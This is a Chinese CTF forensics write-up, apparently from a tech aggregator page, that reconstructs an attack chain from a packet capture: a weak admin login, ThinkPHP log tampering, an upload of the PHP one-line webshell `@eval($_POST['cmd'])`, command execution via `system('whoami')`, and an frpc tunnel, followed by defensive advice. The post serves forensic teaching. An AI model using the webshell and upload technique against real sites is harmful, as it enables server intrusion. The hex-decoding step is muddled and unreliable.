news 2026/6/1 10:47:16

新手也能看懂的CTF题复盘:从流量包里挖出Webshell和Frpc代理的完整攻击链

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
新手也能看懂的CTF题复盘:从流量包里挖出Webshell和Frpc代理的完整攻击链

从流量包中还原攻击链:Webshell与Frpc代理的实战分析

第一次打开Wireshark看到密密麻麻的数据包时,我和所有初学者一样感到无从下手。直到在去年的NSSCTF比赛中遇到这道基于真实攻击流量的题目,才真正理解如何像侦探一样从海量数据中拼凑出完整的攻击故事。本文将用最直观的方式,带你重现攻击者从登录到建立内网通道的全过程。

1. 初始入侵:密码与日志篡改痕迹

打开题目提供的pcap文件,首先注意到大量HTTP流量集中在80端口。使用Wireshark的过滤栏输入http.request.method == POST,立即聚焦到关键交互:

# Wireshark常用过滤语法 http.request.method == POST # 筛选POST请求 frame contains "password" # 搜索含密码字段的包 tcp.stream eq 12 # 追踪特定TCP流

在编号147的数据包中,发现明文的登录请求:

username=admin&password=Admin123!@#

典型错误:很多新手会直接搜索pass=这样的关键词,但实际攻击中字段名可能是pwdpasswd甚至自定义名称。建议先用http.request.method == POST定位所有提交请求。

接着追踪这个TCP流(右键→追踪→TCP流),发现攻击者成功登录后立即访问了日志目录:

GET /data/Runtime/Logs/Home/21_08_07.log HTTP/1.1

在332号包看到攻击者拼接了恶意内容到这个日志文件。这里暴露了两个关键信息:

  1. 系统使用ThinkPHP框架(通过/Runtime/Logs目录结构判断)
  2. 攻击者熟悉该框架的日志存储位置

提示:Web服务器日志通常是攻击者第一个篡改的目标,既可能用于隐藏行踪,也可能通过日志包含漏洞执行代码。

2. Webshell的植入与识别

过滤http.request.method == POST and http contains "upload",很快定位到337号数据包:

POST /index.php?m=home&a=assign_resume_tpl HTTP/1.1 ... Content-Disposition: form-data; name="file"; filename="1.php" Content-Type: application/octet-stream <?php @eval($_POST['cmd']);?>

这个经典的PHP一句话木马有几个特征:

  • 使用eval函数执行任意代码
  • 通过$_POST['cmd']接收控制命令
  • 伪装成简历模板上传(assign_resume_tpl

验证技巧:在Wireshark中右键该包→导出HTTP对象,保存为1.php后使用D盾等工具检测,会立即标记为恶意文件。

3. 权限确认与横向移动

攻击者上传Webshell后,首先执行了whoami确认权限。在317-319号包中可以看到:

POST /1.php HTTP/1.1 ... cmd=system('whoami');

返回结果显示www-data,这是Apache等Web服务的默认运行账户。这意味着:

权限级别可操作范围
www-data网站目录读写、部分系统命令
root完整系统控制(攻击者下一步目标)

接着攻击者通过Webshell下载了frpc客户端,这是内网穿透的常用工具。在导出的HTTP对象中搜索frpc,会发现一个可执行文件被上传到/tmp目录。

4. 内网代理的建立与分析

最精彩的部分出现在TCP流38中——一串看似乱码的十六进制数据:

00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d |HTTP/1.1 200 OK.| 00000010 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 |.Content-Type: t| 00000020 65 78 74 2f 70 6c 61 69 6e 0d 0a 0d 0a 3d 30 48 |ext/plain....=0H| 00000030 44 46 74 31 36 63 4c 51 4a 23 4a 54 4e 32 37 36 |DFt16cLQJ#JTN276| 00000040 47 70 |Gp|

关键步骤解析:

  1. 提取=后的十六进制字符串:0HDFt16cLQJ#JTN276Gp
  2. 使用CyberChef进行Base16解码:
    import base64 print(base64.b16decode("30484446743136634C514A234A544E3237364770".lower()))
  3. 得到明文凭证:0HDFt16cLQJ#JTN276Gp

这正是攻击者配置的socks5代理认证信息,配合frpc实现内网穿透。整个过程就像拼图游戏,每个数据包都是关键碎片。

5. 防御视角的思考

复盘整个攻击链,有几个致命漏洞:

  1. 弱密码防护:使用Admin123!@#这样的简单密码
  2. 框架安全:未删除调试目录(/Runtime/Logs
  3. 文件上传漏洞:未校验上传文件类型
  4. 网络监控缺失:异常外连未被发现

对于防御者来说,可以采取这些措施:

  • 部署WAF拦截可疑文件上传
  • 监控/tmp等临时目录的可执行文件
  • 限制Web服务器的外连权限
  • 定期审计服务器日志

最后分享一个实用技巧:在Wireshark中设置着色规则,将包含eval(system(等关键词的流量标红,能快速定位潜在攻击行为。网络安全就像猫鼠游戏,理解攻击者的思维才能构建更坚固的防御。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/29 11:16:21

Signals Network:算法交易民主化,个人投资者如何构建自动化策略

1. 项目概述&#xff1a;当算法交易不再是机构的专利如果你对金融市场稍有了解&#xff0c;就会知道一个残酷的现实&#xff1a;今天的交易所&#xff0c;尤其是短线交易领域&#xff0c;早已是算法和高频交易的天下。这些由顶尖团队开发的程序&#xff0c;能够以毫秒甚至微秒级…

作者头像 李华
网站建设 2026/5/29 11:11:02

3种方法实现iOS应用永久安装:TrollInstallerX终极指南

3种方法实现iOS应用永久安装&#xff1a;TrollInstallerX终极指南 【免费下载链接】TrollInstallerX A TrollStore installer for iOS 14.0 - 16.6.1 项目地址: https://gitcode.com/gh_mirrors/tr/TrollInstallerX 还在为iOS应用7天后就失效而烦恼吗&#xff1f;TrollI…

作者头像 李华
网站建设 2026/5/29 11:07:59

对比直接使用官方API,Taotoken在模型选择与成本控制上的优势感知

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 对比直接使用官方API&#xff0c;Taotoken在模型选择与成本控制上的优势感知 在构建基于大模型的应用时&#xff0c;开发者通常会面…

作者头像 李华
网站建设 2026/5/29 11:07:01

别再硬刚torch_geometric了!用conda一键搞定PyG全家桶(附版本对照表)

告别PyG安装噩梦&#xff1a;conda极简方案与版本兼容全指南每次打开PyTorch Geometric&#xff08;PyG&#xff09;的官方文档准备大干一场时&#xff0c;总会被那一长串依赖项和版本要求搞得头皮发麻。作为图神经网络领域最受欢迎的框架之一&#xff0c;PyG的强大功能与它的安…

作者头像 李华
网站建设 2026/5/29 11:07:00

开源开发者贾斯汀:代码开发遭遇社交敌意,急需捐款支持!

社交敌意下的开源工作挑战2026年5月28日的贾斯汀网页上有一张照片&#xff0c;拍摄者是thepsyence。开源工作面临的最大挑战是无机构筛选流程&#xff0c;目标是让人自行组织开展项目&#xff0c;这使很多参与者没机会与各领域优秀成员共事。21世纪10年代文化冲突中&#xff0c…

作者头像 李华